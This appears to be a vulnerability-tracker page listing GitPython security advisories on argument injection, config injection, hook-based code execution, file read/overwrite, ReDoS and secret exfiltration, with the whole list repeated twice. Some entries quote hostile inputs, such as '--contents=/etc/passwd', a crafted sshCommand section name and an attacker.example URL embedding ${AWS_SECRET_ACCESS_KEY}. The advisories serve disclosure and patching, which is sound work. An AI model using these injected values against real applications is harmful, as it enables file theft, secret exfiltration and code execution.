Gitpython Developers
Monthly
Regular expression denial of service in GitPython before 3.1.60 allows unauthenticated remote attackers to exhaust server CPU resources by supplying a crafted commit with a malformed author or committer field. The vulnerable regex Actor.name_email_regex exhibits quadratic backtracking when processing an unterminated angle bracket in the author string, stalling affected processes for over two minutes per commit access. Any application that reads attacker-influenced git repositories using GitPython is exposed; no public exploit or active exploitation (CISA KEV) has been identified at time of analysis.
Argument injection in GitPython 3.1.59's high-level diff API allows low-privileged remote attackers to read arbitrary filesystem paths by passing the unsanitized `--no-index` flag to the underlying git diff command. By chaining `--no-index` with the `-I`/`--ignore-matching-lines` regex filter, an attacker can construct a content-dependent Boolean oracle - issuing repeated queries that distinguish between regex match and mismatch responses to recover single-line secrets from local files. No active exploitation has been confirmed (not in CISA KEV), but the technique is deterministic and requires only authenticated API access. Patch-upgraded version 3.1.60 is available.
Arbitrary code execution in GitPython before 3.1.60 is possible when a victim application calls index.commit() on an attacker-controlled repository. The root cause is insufficient validation of the git directory location: GitPython trusts tracked files such as gitdir, commondir, and HEAD to resolve the effective git directory, allowing a crafted repository to redirect that resolution to an attacker-controlled path containing a malicious pre-commit hook. No public exploit has been identified at time of analysis, but the attack is realistic in any Python-based DevOps pipeline, CI/CD system, or tooling that opens and commits to externally sourced repositories.
Arbitrary file read in GitPython before 3.1.59 allows low-privileged remote attackers to exfiltrate sensitive files by supplying a crafted reference argument to TagReference.create(). The vulnerability arises because a positional reference parameter (e.g., '--file=/etc/passwd') bypasses the library's built-in unsafe option guard, causing git to interpret the value as a flag and return the targeted file's contents embedded in the annotated tag message. No public exploit code or CISA KEV listing has been identified at time of analysis, but the CVSS 4.0 score of 7.1 with high confidentiality impact reflects genuine disclosure risk in any application that exposes this code path to user-controlled input.
Arbitrary file read in GitPython versions before 3.1.59 exposes sensitive filesystem content to low-privileged network attackers through an incomplete argument-injection guard. The unsafe_git_revision_options denylist in Repo.blame() omits the --contents and -S git options, allowing attackers to supply revision values such as --contents=/etc/passwd and receive the target file's contents embedded in the blame output. No public exploit has been identified at time of analysis, but the bypass is conceptually trivial - a crafted string is all that is required once access to the blame API is established.
Arbitrary directory creation and potential hook-based code execution in GitPython affects all releases before 3.1.59. The library's clone operations omit `--separate-git-dir` from the `unsafe_git_clone_options` blocklist, so any application that passes attacker-controlled values to `Repo.clone_from()` or `Repo.clone()` allows git to redirect repository metadata to an arbitrary filesystem path. No public exploit has been identified at time of analysis and the vulnerability is not listed in CISA KEV, but the path-traversal primitive combined with git-hook execution capability produces a realistic high-integrity-impact scenario in exposed applications.
Arbitrary code execution in GitPython before 3.1.59 arises from unsafe re-serialization of multi-line, quoted git-config values: a dormant crafted value is silently rewritten into a live directive such as core.hooksPath whenever GitPython performs any unrelated config write. An attacker who can seed a malicious config value can thereby point hook execution at attacker-controlled code, gaining code execution the next time a hook-invoking git operation runs. Reported by VulnCheck (CWE-88) with a CVSS 4.0 base of 9.3; no public exploit or CISA KEV listing is identified at time of analysis.
GitPython before 3.1.59 discloses local file content through exception messages when parsing .gitmodules files that contain [include] directives, because the library fails to disable the merge_includes feature in GitConfigParser. An attacker who can introduce a malicious .gitmodules into a repository processed by a vulnerable GitPython instance can cause the first line of any locally readable file to appear verbatim in a MissingSectionHeaderError exception when repo.submodules is accessed. No active exploitation has been confirmed (absent from CISA KEV) and no public POC is referenced in available intelligence; a vendor-released patch exists in version 3.1.59.
Path traversal in GitPython before 3.1.58 allows remote attackers who control a Git repository to create fully initialized, attacker-controlled Git repositories at arbitrary filesystem paths outside the intended clone directory. GitPython's independent submodule implementation reads submodule names from .gitmodules without any validation - a check that core Git added years ago in response to CVE-2018-11235 - and passes the raw, traversal-containing name directly to os.makedirs() and git clone. A proof-of-concept with Docker-based reproduction is publicly documented in GHSA-hmq2-w58f-27jc; no CISA KEV listing is present at time of analysis, indicating exploitation is not yet confirmed as widespread.
Config-name injection in GitPython <= 3.1.57 enables arbitrary git-config directive forgery and remote code execution via `core.sshCommand` or `core.hooksPath`. The option-name validator in `git/config.py` only blocks CR/LF/NUL, allowing `=`, `#`, and whitespace to pass unchecked; `write_section` then writes the option name verbatim, causing git to parse attacker-supplied content as a valid directive. Exploitation requires a calling application to forward attacker-influenced input to `config_writer.set_value()` as the option-name argument, and a proof-of-concept is publicly confirmed in the vendor GHSA advisory. No CISA KEV listing is present at time of analysis.
Arbitrary OS command execution in GitPython before 3.1.58 is possible by bypassing the check_unsafe_options guard using a single-character kwarg combined with split_single_char_options=False, causing git's short-option parser to interpret a smuggled joined token as --upload-pack=<cmd>. This is a second-order incomplete-fix bypass of the previously patched GHSA-r9mr-m37c-5fr3, affecting all guarded methods including clone_from, fetch, pull, push, ls_remote, iter_commits, blame, and archive. A working proof-of-concept is publicly available in the upstream GitHub Security Advisory GHSA-wvpp-8hx9-p66j; no CISA KEV listing is present at time of analysis, but the public PoC significantly lowers the exploitation bar.
Arbitrary file overwrite in GitPython before 3.1.58 allows attackers who can influence treeish arguments passed to IndexFile.from_tree, IndexFile.reset, or IndexFile.merge_tree to clobber any file writable by the host process with a valid git-index blob. The three affected methods in git/index/base.py forward caller-controlled strings directly to git read-tree with no option sanitization and no -- argument terminator, enabling injection of --index-output=<path>; git's last-occurrence-wins behavior lets the injected flag override the library's internal temp path. A proof-of-concept is publicly documented in GHSA-4gmw-gg2m-w46p; no CISA KEV listing was present at time of analysis.
Remote code execution in GitPython before 3.1.58 is reachable through Repo.init(), which forwards all keyword arguments verbatim to git init without any unsafe-option validation. An attacker who can influence the template kwarg can point it at an attacker-controlled directory containing malicious git hooks; git copies those hooks into the newly initialized repository, and the next git operation (e.g., a commit) triggers arbitrary code execution at the privilege level of the host process. A proof-of-concept demonstrating the full hook-copy-and-fire chain has been publicly released and independently reproduced per the GHSA advisory, and upstream fix code is available in PR #2204 and commit d9ddb55bdc66, targeting the 3.1.58 release.
Arbitrary file read in GitPython versions through 3.1.57 allows low-privileged users who can influence kwargs passed to IndexFile.remove() or Head.checkout() to exfiltrate the complete contents of any file readable by the hosting process. The attack chains two unsanitized Git flags - --pathspec-from-file and --pathspec-file-nul - causing Git to return verbatim file contents through a GitCommandError exception that GitPython surfaces in-band. A detailed proof of concept is publicly available in the vendor GHSA advisory; this vulnerability is not currently listed in CISA KEV.
Remote code execution in GitPython before 3.1.54 exploits a guard bypass in check_unsafe_options where the validation logic inspects kwarg keys but never their values, allowing an attacker to smuggle dangerous git options such as --upload-pack inside single-character kwarg values across every guarded method - clone_from, fetch, pull, push, ls_remote, iter_commits, blame, and archive. Any application that passes externally-influenced kwargs to these methods is fully compromised; the attacker achieves arbitrary OS command execution as the host process. A working proof-of-concept is publicly available in the GHSA advisory; no CISA KEV listing has been issued at time of analysis.
Arbitrary file overwrite in GitPython through version 3.1.53 allows authenticated low-privileged attackers to write git diff output to any attacker-chosen file path accessible at the hosting process's OS privilege level, by injecting the `--output` flag through the unguarded `Diffable.diff()` method. Applications built on GitPython that pass user-controlled values to `Commit.diff()`, `Tree.diff()`, `IndexFile.diff()`, or `Submodule.diff()` expose the full attack surface, which spans two distinct injection paths confirmed in the vendor advisory. Publicly available exploit code exists, verified live against tag 3.1.53; no active exploitation has been confirmed in CISA KEV at time of analysis.
Arbitrary OS command execution in GitPython <= 3.1.53 is achievable during clone operations because the `unsafe_git_clone_options` denylist in `base.py` omits `--template`, allowing it to pass `check_unsafe_options` without error in the default `allow_unsafe_options=False` configuration. Callers who can influence `Repo.clone_from()` arguments can supply a `--template` path to an attacker-staged directory containing an executable `post-checkout` hook, which git automatically executes at checkout time. A live-verified proof-of-concept against tag 3.1.53 has been publicly disclosed; no active exploitation is confirmed in CISA KEV at time of analysis.
Environment variable exfiltration in GitPython before 3.1.55 allows attackers to steal secrets from the hosting process environment by supplying crafted URLs containing shell variable references to Remote.create() (via Repo.create_remote() or Remote.add()) and Submodule.add() API methods. This is an incomplete fix of GHSA-rwj8-pgh3-r573: the prior patch disabled variable expansion only in Repo.clone_from(), leaving sibling callers unguarded - URLs such as https://attacker.example/${AWS_SECRET_ACCESS_KEY}/repo.git are expanded server-side, persisted to .git/config or .gitmodules, and transmitted to the attacker's host on the next fetch or pull. The official GHSA advisory published by gitpython-developers includes detailed step-by-step reproduction instructions; the vulnerability is not in CISA KEV at time of analysis.
Unguarded git option forwarding in GitPython before 3.1.57 allows low-privileged attackers to inject unsafe options into two git subcommands via kwargs, achieving arbitrary file overwrite or arbitrary file read. Specifically, IndexFile.checkout() forwards caller-controlled kwargs to git checkout-index without invoking check_unsafe_options(), enabling the --prefix flag to write repository-tracked content to any path the process can write. TagReference.create() similarly exposes the -F/--file option of git tag, allowing arbitrary file contents to be read in-band. A working proof-of-concept is documented in the GHSA advisory. No active exploitation has been confirmed in CISA KEV at time of analysis.
Arbitrary file read in GitPython before 3.1.57 allows any caller who can supply options to Repo.archive() to exfiltrate files from anywhere on the server filesystem by passing --add-file or --add-virtual-file to git archive. The unsafe_git_archive_options denylist blocks --output, -o, and --exec but omits these two sibling options, which were verified functional against git 2.50.1. A working proof-of-concept confirmed byte-for-byte exfiltration of out-of-tree files against GitPython 3.1.55. No public KEV listing exists, but the POC is published in the GHSA advisory.
Git-config section-name injection in GitPython <= 3.1.52 enables remote code execution by writing attacker-controlled `core.sshCommand` directives into a victim's `.git/config` via the `create_submodule()` or `clone_from()` API methods. The vulnerable component (CPE: `cpe:2.3:a:gitpython-developers:gitpython`) fails to escape bracket characters in submodule names, allowing a crafted name such as `x"] [core] sshCommand=malicious #` to close the intended config section header and open a new one on the same line - bypassing the existing CR/LF/NUL guard entirely. No public exploit has been identified at time of analysis and no CISA KEV listing exists, but the fully documented injection mechanism and RCE primitive make this a high-priority fix for any pipeline processing untrusted repositories.
Remote code execution via newline injection in GitPython before 3.1.50 allows an attacker who controls the section argument of config_writer().set_value() to forge arbitrary section headers - including a malicious [core] block - in .git/config, redirecting git hook execution to an attacker-controlled directory. This is a confirmed incomplete-patch bypass of CVE-2026-42215: the 3.1.49 fix sanitized only the value parameter while leaving section and option unvalidated. A working proof-of-concept is publicly available in the vendor's GHSA advisory, and the fix is confirmed in GitPython 3.1.50.
Command execution in GitPython 3.1.50 arises because its default unsafe-option gate fails to recognize joined short-option syntax, letting an attacker who controls clone options smuggle -u<helper> (the short form of --upload-pack=<helper>) past the block on --upload-pack/-u. Applications calling Repo.clone_from with attacker-influenced multi_options and allow_unsafe_options=False are affected, allowing Git to execute an arbitrary helper command during clone despite the safety gate being active. Reported by VulnCheck with a working local proof-of-concept; publicly available exploit code exists, but there is no public exploit identified as used in active attacks and it is not in CISA KEV.
Command injection and arbitrary file overwrite in GitPython before 3.1.51 expose applications that pass attacker-controlled arguments to four public API methods. `Repo.archive()` and `git.ls_remote()` forward caller-supplied keyword arguments into the git argument vector without consulting GitPython's own unsafe-options denylist, enabling arbitrary command execution via options such as `--exec` or `--upload-pack`. `Repo.iter_commits()` and `Repo.blame()` accept unsanitized revision strings without a leading-dash check, so a value like `--output=/path/to/file` is interpreted by git as an option, truncating an arbitrary file. No public exploit code or CISA KEV listing was identified at time of analysis; a vendor-released patch is available in 3.1.51.
Environment variable exfiltration in GitPython before 3.1.52 allows any attacker who controls a URL passed to `Repo.clone_from()` to steal secrets from the hosting process's environment. The `Git.polish_url()` method unconditionally calls `os.path.expandvars()` on caller-supplied URLs on all non-Cygwin platforms, expanding tokens like `$AWS_SECRET_ACCESS_KEY` or `${GITHUB_TOKEN}` before passing the resulting URL to a `git clone` subprocess - transmitting the expanded secret over the network to an attacker-controlled host. No public exploit code or CISA KEV listing has been identified at time of analysis, but the attack is trivial to weaponize against CI servers, git-hosting mirrors, and dependency scanners that accept user-supplied repository URLs.
Command injection in GitPython before 3.1.51 allows low-privileged attackers to bypass the `check_unsafe_options` blocklist by supplying abbreviated git option names that git's CLI resolves to dangerous long-options at runtime. This is an incomplete fix of CVE-2026-42215 (patched in 3.1.47): the guard canonicalizes only underscore-to-hyphen but does not model git's unambiguous long-option prefix abbreviation feature, so a kwarg like `upload_p` passes the blocklist unchanged yet arrives at git as `--upload-pack`, enabling arbitrary command execution. No CISA KEV listing or confirmed public exploit code was identified at time of analysis, though the GHSA advisory includes precise source code and sufficient technical detail to substantially lower exploitation barrier.
Remote code execution in GitPython < 3.1.47 allows unauthenticated network attackers to inject malicious Git configuration during repository clone operations via crafted multi_options arguments. The _clone() method validates options before shlex.split transformation, enabling attackers to bypass unsafe option checks by embedding commands like '--config core.hooksPath=/attacker/path' within '--branch' strings. Git then executes attacker-controlled hooks during clone. Vendor-released patch available in version 3.1.47. CVSS 8.1 with high attack complexity; no EPSS or KEV data available, but public exploit code exists per GitHub security advisory GHSA-x2qx-6953-8485.
Command injection in GitPython 3.1.30-3.1.46 allows remote authenticated attackers to execute arbitrary commands via underscore-formatted kwargs that bypass unsafe option validation. Applications passing attacker-controlled kwargs to Repo.clone_from(), Remote.fetch(), Remote.pull(), or Remote.push() are vulnerable even when allow_unsafe_options=False (default). GitHub-confirmed exploit with vendor-released patch 3.1.47. CVSS 8.8 reflects network vector with low complexity and authenticated access; no EPSS/KEV data indicates exploitation not yet widespread beyond proof-of-concept demonstration.
Arbitrary file truncation in GitPython before 3.1.56 enables an attacker who can control keyword arguments forwarded to Commit.count() to blank any file accessible at the process's privilege level by injecting output=<path>, which causes git rev-list to open and truncate the target to zero bytes before revision parsing. The unguarded sink at commit.py:290-291 is a distinct, overlooked parallel to the sibling iter_items method, which carries the check_unsafe_options guard; this gap persisted after GHSA-956x-8gvw-wg5v addressed iter_commits and blame. No CISA KEV listing is present, but a proof-of-concept was verified on tag 3.1.53 and is published in the GHSA advisory.
Regular expression denial of service in GitPython before 3.1.60 allows unauthenticated remote attackers to exhaust server CPU resources by supplying a crafted commit with a malformed author or committer field. The vulnerable regex Actor.name_email_regex exhibits quadratic backtracking when processing an unterminated angle bracket in the author string, stalling affected processes for over two minutes per commit access. Any application that reads attacker-influenced git repositories using GitPython is exposed; no public exploit or active exploitation (CISA KEV) has been identified at time of analysis.
Argument injection in GitPython 3.1.59's high-level diff API allows low-privileged remote attackers to read arbitrary filesystem paths by passing the unsanitized `--no-index` flag to the underlying git diff command. By chaining `--no-index` with the `-I`/`--ignore-matching-lines` regex filter, an attacker can construct a content-dependent Boolean oracle - issuing repeated queries that distinguish between regex match and mismatch responses to recover single-line secrets from local files. No active exploitation has been confirmed (not in CISA KEV), but the technique is deterministic and requires only authenticated API access. Patch-upgraded version 3.1.60 is available.
Arbitrary code execution in GitPython before 3.1.60 is possible when a victim application calls index.commit() on an attacker-controlled repository. The root cause is insufficient validation of the git directory location: GitPython trusts tracked files such as gitdir, commondir, and HEAD to resolve the effective git directory, allowing a crafted repository to redirect that resolution to an attacker-controlled path containing a malicious pre-commit hook. No public exploit has been identified at time of analysis, but the attack is realistic in any Python-based DevOps pipeline, CI/CD system, or tooling that opens and commits to externally sourced repositories.
Arbitrary file read in GitPython before 3.1.59 allows low-privileged remote attackers to exfiltrate sensitive files by supplying a crafted reference argument to TagReference.create(). The vulnerability arises because a positional reference parameter (e.g., '--file=/etc/passwd') bypasses the library's built-in unsafe option guard, causing git to interpret the value as a flag and return the targeted file's contents embedded in the annotated tag message. No public exploit code or CISA KEV listing has been identified at time of analysis, but the CVSS 4.0 score of 7.1 with high confidentiality impact reflects genuine disclosure risk in any application that exposes this code path to user-controlled input.
Arbitrary file read in GitPython versions before 3.1.59 exposes sensitive filesystem content to low-privileged network attackers through an incomplete argument-injection guard. The unsafe_git_revision_options denylist in Repo.blame() omits the --contents and -S git options, allowing attackers to supply revision values such as --contents=/etc/passwd and receive the target file's contents embedded in the blame output. No public exploit has been identified at time of analysis, but the bypass is conceptually trivial - a crafted string is all that is required once access to the blame API is established.
Arbitrary directory creation and potential hook-based code execution in GitPython affects all releases before 3.1.59. The library's clone operations omit `--separate-git-dir` from the `unsafe_git_clone_options` blocklist, so any application that passes attacker-controlled values to `Repo.clone_from()` or `Repo.clone()` allows git to redirect repository metadata to an arbitrary filesystem path. No public exploit has been identified at time of analysis and the vulnerability is not listed in CISA KEV, but the path-traversal primitive combined with git-hook execution capability produces a realistic high-integrity-impact scenario in exposed applications.
Arbitrary code execution in GitPython before 3.1.59 arises from unsafe re-serialization of multi-line, quoted git-config values: a dormant crafted value is silently rewritten into a live directive such as core.hooksPath whenever GitPython performs any unrelated config write. An attacker who can seed a malicious config value can thereby point hook execution at attacker-controlled code, gaining code execution the next time a hook-invoking git operation runs. Reported by VulnCheck (CWE-88) with a CVSS 4.0 base of 9.3; no public exploit or CISA KEV listing is identified at time of analysis.
GitPython before 3.1.59 discloses local file content through exception messages when parsing .gitmodules files that contain [include] directives, because the library fails to disable the merge_includes feature in GitConfigParser. An attacker who can introduce a malicious .gitmodules into a repository processed by a vulnerable GitPython instance can cause the first line of any locally readable file to appear verbatim in a MissingSectionHeaderError exception when repo.submodules is accessed. No active exploitation has been confirmed (absent from CISA KEV) and no public POC is referenced in available intelligence; a vendor-released patch exists in version 3.1.59.
Path traversal in GitPython before 3.1.58 allows remote attackers who control a Git repository to create fully initialized, attacker-controlled Git repositories at arbitrary filesystem paths outside the intended clone directory. GitPython's independent submodule implementation reads submodule names from .gitmodules without any validation - a check that core Git added years ago in response to CVE-2018-11235 - and passes the raw, traversal-containing name directly to os.makedirs() and git clone. A proof-of-concept with Docker-based reproduction is publicly documented in GHSA-hmq2-w58f-27jc; no CISA KEV listing is present at time of analysis, indicating exploitation is not yet confirmed as widespread.
Config-name injection in GitPython <= 3.1.57 enables arbitrary git-config directive forgery and remote code execution via `core.sshCommand` or `core.hooksPath`. The option-name validator in `git/config.py` only blocks CR/LF/NUL, allowing `=`, `#`, and whitespace to pass unchecked; `write_section` then writes the option name verbatim, causing git to parse attacker-supplied content as a valid directive. Exploitation requires a calling application to forward attacker-influenced input to `config_writer.set_value()` as the option-name argument, and a proof-of-concept is publicly confirmed in the vendor GHSA advisory. No CISA KEV listing is present at time of analysis.
Arbitrary OS command execution in GitPython before 3.1.58 is possible by bypassing the check_unsafe_options guard using a single-character kwarg combined with split_single_char_options=False, causing git's short-option parser to interpret a smuggled joined token as --upload-pack=<cmd>. This is a second-order incomplete-fix bypass of the previously patched GHSA-r9mr-m37c-5fr3, affecting all guarded methods including clone_from, fetch, pull, push, ls_remote, iter_commits, blame, and archive. A working proof-of-concept is publicly available in the upstream GitHub Security Advisory GHSA-wvpp-8hx9-p66j; no CISA KEV listing is present at time of analysis, but the public PoC significantly lowers the exploitation bar.
Arbitrary file overwrite in GitPython before 3.1.58 allows attackers who can influence treeish arguments passed to IndexFile.from_tree, IndexFile.reset, or IndexFile.merge_tree to clobber any file writable by the host process with a valid git-index blob. The three affected methods in git/index/base.py forward caller-controlled strings directly to git read-tree with no option sanitization and no -- argument terminator, enabling injection of --index-output=<path>; git's last-occurrence-wins behavior lets the injected flag override the library's internal temp path. A proof-of-concept is publicly documented in GHSA-4gmw-gg2m-w46p; no CISA KEV listing was present at time of analysis.
Remote code execution in GitPython before 3.1.58 is reachable through Repo.init(), which forwards all keyword arguments verbatim to git init without any unsafe-option validation. An attacker who can influence the template kwarg can point it at an attacker-controlled directory containing malicious git hooks; git copies those hooks into the newly initialized repository, and the next git operation (e.g., a commit) triggers arbitrary code execution at the privilege level of the host process. A proof-of-concept demonstrating the full hook-copy-and-fire chain has been publicly released and independently reproduced per the GHSA advisory, and upstream fix code is available in PR #2204 and commit d9ddb55bdc66, targeting the 3.1.58 release.
Arbitrary file read in GitPython versions through 3.1.57 allows low-privileged users who can influence kwargs passed to IndexFile.remove() or Head.checkout() to exfiltrate the complete contents of any file readable by the hosting process. The attack chains two unsanitized Git flags - --pathspec-from-file and --pathspec-file-nul - causing Git to return verbatim file contents through a GitCommandError exception that GitPython surfaces in-band. A detailed proof of concept is publicly available in the vendor GHSA advisory; this vulnerability is not currently listed in CISA KEV.
Remote code execution in GitPython before 3.1.54 exploits a guard bypass in check_unsafe_options where the validation logic inspects kwarg keys but never their values, allowing an attacker to smuggle dangerous git options such as --upload-pack inside single-character kwarg values across every guarded method - clone_from, fetch, pull, push, ls_remote, iter_commits, blame, and archive. Any application that passes externally-influenced kwargs to these methods is fully compromised; the attacker achieves arbitrary OS command execution as the host process. A working proof-of-concept is publicly available in the GHSA advisory; no CISA KEV listing has been issued at time of analysis.
Arbitrary file overwrite in GitPython through version 3.1.53 allows authenticated low-privileged attackers to write git diff output to any attacker-chosen file path accessible at the hosting process's OS privilege level, by injecting the `--output` flag through the unguarded `Diffable.diff()` method. Applications built on GitPython that pass user-controlled values to `Commit.diff()`, `Tree.diff()`, `IndexFile.diff()`, or `Submodule.diff()` expose the full attack surface, which spans two distinct injection paths confirmed in the vendor advisory. Publicly available exploit code exists, verified live against tag 3.1.53; no active exploitation has been confirmed in CISA KEV at time of analysis.
Arbitrary OS command execution in GitPython <= 3.1.53 is achievable during clone operations because the `unsafe_git_clone_options` denylist in `base.py` omits `--template`, allowing it to pass `check_unsafe_options` without error in the default `allow_unsafe_options=False` configuration. Callers who can influence `Repo.clone_from()` arguments can supply a `--template` path to an attacker-staged directory containing an executable `post-checkout` hook, which git automatically executes at checkout time. A live-verified proof-of-concept against tag 3.1.53 has been publicly disclosed; no active exploitation is confirmed in CISA KEV at time of analysis.
Environment variable exfiltration in GitPython before 3.1.55 allows attackers to steal secrets from the hosting process environment by supplying crafted URLs containing shell variable references to Remote.create() (via Repo.create_remote() or Remote.add()) and Submodule.add() API methods. This is an incomplete fix of GHSA-rwj8-pgh3-r573: the prior patch disabled variable expansion only in Repo.clone_from(), leaving sibling callers unguarded - URLs such as https://attacker.example/${AWS_SECRET_ACCESS_KEY}/repo.git are expanded server-side, persisted to .git/config or .gitmodules, and transmitted to the attacker's host on the next fetch or pull. The official GHSA advisory published by gitpython-developers includes detailed step-by-step reproduction instructions; the vulnerability is not in CISA KEV at time of analysis.
Unguarded git option forwarding in GitPython before 3.1.57 allows low-privileged attackers to inject unsafe options into two git subcommands via kwargs, achieving arbitrary file overwrite or arbitrary file read. Specifically, IndexFile.checkout() forwards caller-controlled kwargs to git checkout-index without invoking check_unsafe_options(), enabling the --prefix flag to write repository-tracked content to any path the process can write. TagReference.create() similarly exposes the -F/--file option of git tag, allowing arbitrary file contents to be read in-band. A working proof-of-concept is documented in the GHSA advisory. No active exploitation has been confirmed in CISA KEV at time of analysis.
Arbitrary file read in GitPython before 3.1.57 allows any caller who can supply options to Repo.archive() to exfiltrate files from anywhere on the server filesystem by passing --add-file or --add-virtual-file to git archive. The unsafe_git_archive_options denylist blocks --output, -o, and --exec but omits these two sibling options, which were verified functional against git 2.50.1. A working proof-of-concept confirmed byte-for-byte exfiltration of out-of-tree files against GitPython 3.1.55. No public KEV listing exists, but the POC is published in the GHSA advisory.
Git-config section-name injection in GitPython <= 3.1.52 enables remote code execution by writing attacker-controlled `core.sshCommand` directives into a victim's `.git/config` via the `create_submodule()` or `clone_from()` API methods. The vulnerable component (CPE: `cpe:2.3:a:gitpython-developers:gitpython`) fails to escape bracket characters in submodule names, allowing a crafted name such as `x"] [core] sshCommand=malicious #` to close the intended config section header and open a new one on the same line - bypassing the existing CR/LF/NUL guard entirely. No public exploit has been identified at time of analysis and no CISA KEV listing exists, but the fully documented injection mechanism and RCE primitive make this a high-priority fix for any pipeline processing untrusted repositories.
Remote code execution via newline injection in GitPython before 3.1.50 allows an attacker who controls the section argument of config_writer().set_value() to forge arbitrary section headers - including a malicious [core] block - in .git/config, redirecting git hook execution to an attacker-controlled directory. This is a confirmed incomplete-patch bypass of CVE-2026-42215: the 3.1.49 fix sanitized only the value parameter while leaving section and option unvalidated. A working proof-of-concept is publicly available in the vendor's GHSA advisory, and the fix is confirmed in GitPython 3.1.50.
Command execution in GitPython 3.1.50 arises because its default unsafe-option gate fails to recognize joined short-option syntax, letting an attacker who controls clone options smuggle -u<helper> (the short form of --upload-pack=<helper>) past the block on --upload-pack/-u. Applications calling Repo.clone_from with attacker-influenced multi_options and allow_unsafe_options=False are affected, allowing Git to execute an arbitrary helper command during clone despite the safety gate being active. Reported by VulnCheck with a working local proof-of-concept; publicly available exploit code exists, but there is no public exploit identified as used in active attacks and it is not in CISA KEV.
Command injection and arbitrary file overwrite in GitPython before 3.1.51 expose applications that pass attacker-controlled arguments to four public API methods. `Repo.archive()` and `git.ls_remote()` forward caller-supplied keyword arguments into the git argument vector without consulting GitPython's own unsafe-options denylist, enabling arbitrary command execution via options such as `--exec` or `--upload-pack`. `Repo.iter_commits()` and `Repo.blame()` accept unsanitized revision strings without a leading-dash check, so a value like `--output=/path/to/file` is interpreted by git as an option, truncating an arbitrary file. No public exploit code or CISA KEV listing was identified at time of analysis; a vendor-released patch is available in 3.1.51.
Environment variable exfiltration in GitPython before 3.1.52 allows any attacker who controls a URL passed to `Repo.clone_from()` to steal secrets from the hosting process's environment. The `Git.polish_url()` method unconditionally calls `os.path.expandvars()` on caller-supplied URLs on all non-Cygwin platforms, expanding tokens like `$AWS_SECRET_ACCESS_KEY` or `${GITHUB_TOKEN}` before passing the resulting URL to a `git clone` subprocess - transmitting the expanded secret over the network to an attacker-controlled host. No public exploit code or CISA KEV listing has been identified at time of analysis, but the attack is trivial to weaponize against CI servers, git-hosting mirrors, and dependency scanners that accept user-supplied repository URLs.
Command injection in GitPython before 3.1.51 allows low-privileged attackers to bypass the `check_unsafe_options` blocklist by supplying abbreviated git option names that git's CLI resolves to dangerous long-options at runtime. This is an incomplete fix of CVE-2026-42215 (patched in 3.1.47): the guard canonicalizes only underscore-to-hyphen but does not model git's unambiguous long-option prefix abbreviation feature, so a kwarg like `upload_p` passes the blocklist unchanged yet arrives at git as `--upload-pack`, enabling arbitrary command execution. No CISA KEV listing or confirmed public exploit code was identified at time of analysis, though the GHSA advisory includes precise source code and sufficient technical detail to substantially lower exploitation barrier.
Remote code execution in GitPython < 3.1.47 allows unauthenticated network attackers to inject malicious Git configuration during repository clone operations via crafted multi_options arguments. The _clone() method validates options before shlex.split transformation, enabling attackers to bypass unsafe option checks by embedding commands like '--config core.hooksPath=/attacker/path' within '--branch' strings. Git then executes attacker-controlled hooks during clone. Vendor-released patch available in version 3.1.47. CVSS 8.1 with high attack complexity; no EPSS or KEV data available, but public exploit code exists per GitHub security advisory GHSA-x2qx-6953-8485.
Command injection in GitPython 3.1.30-3.1.46 allows remote authenticated attackers to execute arbitrary commands via underscore-formatted kwargs that bypass unsafe option validation. Applications passing attacker-controlled kwargs to Repo.clone_from(), Remote.fetch(), Remote.pull(), or Remote.push() are vulnerable even when allow_unsafe_options=False (default). GitHub-confirmed exploit with vendor-released patch 3.1.47. CVSS 8.8 reflects network vector with low complexity and authenticated access; no EPSS/KEV data indicates exploitation not yet widespread beyond proof-of-concept demonstration.
Arbitrary file truncation in GitPython before 3.1.56 enables an attacker who can control keyword arguments forwarded to Commit.count() to blank any file accessible at the process's privilege level by injecting output=<path>, which causes git rev-list to open and truncate the target to zero bytes before revision parsing. The unguarded sink at commit.py:290-291 is a distinct, overlooked parallel to the sibling iter_items method, which carries the check_unsafe_options guard; this gap persisted after GHSA-956x-8gvw-wg5v addressed iter_commits and blame. No CISA KEV listing is present, but a proof-of-concept was verified on tag 3.1.53 and is published in the GHSA advisory.